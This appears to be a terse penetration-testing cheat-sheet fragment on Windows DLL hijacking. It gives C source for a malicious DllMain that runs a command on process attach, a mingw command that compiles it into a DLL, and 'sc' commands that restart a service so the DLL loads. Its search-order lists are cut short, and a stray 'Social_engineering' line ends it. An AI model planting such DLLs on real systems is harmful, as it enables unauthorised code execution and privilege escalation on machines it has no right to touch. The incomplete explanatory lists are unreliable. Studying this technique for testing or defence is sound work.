SafeDllSearchMode enabled searches paths in following order:
GetSystemDirectory
GetWindowsDirectory
SafeDllSearchMode disabled searches in following order:
#include <windows.h>
BOOL WINAPI DllMain (HANDLE hDll, DWORD dwReason, LPVOID lpReserved) {
if (dwReason == DLL_PROCESS_ATTACH) {
system("cmd.exe /k whoami > C:\\Temp\\dll.txt");
ExitProcess(0);
}
return TRUE;
}
x86_64-w64-mingw32-gcc windows_dll.c -shared -o output.dll
sc stop dllsvc
sc start dllsvc
Social_engineering